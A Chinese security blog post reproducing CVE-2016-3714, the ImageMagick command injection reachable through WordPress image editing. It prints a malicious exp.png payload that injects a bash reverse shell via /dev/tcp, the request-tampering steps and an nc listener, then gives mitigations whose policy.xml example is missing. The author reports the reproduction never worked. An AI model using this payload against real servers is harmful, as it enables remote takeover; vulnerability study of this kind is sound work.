欢迎关注:07v8论安全,技术干货等你来
这是07v8的第9篇技术文章,希望对你有用
CVE-2016-3714 - ImageMagick 远程命令执行漏洞
作者:@NewB1e
* 本文参与双dan投稿活动
前言
做题的时候搜到的ImageMagick的这个漏洞,在WordPress上能够导致远程执行,感觉很有趣~就自己参考着菊苣们的文章搭建环境测试了一下~
漏洞描述
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。具体的分析已经在乌云(CVE-2016-3714 - ImageMagick 命令执行分析)上爆出来了,这里挂了我乌云知识库的链接,想了解详情的可以点进来~这里引用ricterz大佬的简要分析:“ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用InvokeDelegate。
MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。最终 InvokeDelegate 调用ExternalDelegateCommand执行命令。也就是说,ImageMagick 在通过 MagickCore/constitute.c 的 ReadImage 函数中解析图片时,使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致此漏洞形成。
这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括 ubuntu 源中安装的 ImageMagick。而官方在 6.9.3-9 版本中对此漏洞没有进行完全的修复。
漏洞利用
利用条件
想利用这个漏洞,首先需要服务器安装php的imageick的扩展和imagemagick扩展(注意版本),然后需要有一个最先权限为author的账户()
利用方法
登录账号,发表一篇文章。需要添加媒体,通过编辑图片来触发这个漏洞。这里我们要准备好一个正常图片和一个exp.png,exp.png内容如下:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'
pop graphic-context
其中127.0.0.1为反弹到监听端口的服务器,监听端口为2333,这里的IP可以自己换。
然后上传图片:
编辑正常图片,edit origin,通过控制台获得正常图片的curl,在上面右键Copy as cURL
然后同样的步骤编辑exp.png,由于exp.png不是正常的图片,所以这里就只能拿到exp.png的 _ajax_nonce 和post_id去替换正常图片的处理ImageMagick的链接中的_ajax_nonce 和post_id,进而触发imagemagick的这个漏洞。
替换
回车
然后,在监听服务器上对2333端口监听:
nc -vv -l -p 2333
即可得到反弹的shell~
BUT~
由于自己折腾搭建的环境,用的WordPress-4.5.1和imagemagick-6.7.6-9,前后折腾了将近三天时间,本地和服务器都尝试了,但不知道什么原因,一直没有成功反弹shell。。。。(相当蛋疼)希望尝试成功的表哥可以和我交流一下经验,小弟不胜感激!!
漏洞修复
这里直接引用phith0n师傅的了~
关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。
现在,我们可以通过如下两个方法来暂时规避漏洞:
处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。
使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
07v8 Double-S说
本文作者在文中非常详细地阐述了ImageMagick远程命令执行漏洞、复现以及给出了修复建议,希望大家能有所收获,同时也希望更多白帽大佬进行复现作者没有成功之处,互相进步学习。
同时感谢作者NewB1e的分享,以及对07V8的支持,请继续关注!
更多干货,敬请关注
领取专属 10元无门槛券
私享最新 技术干货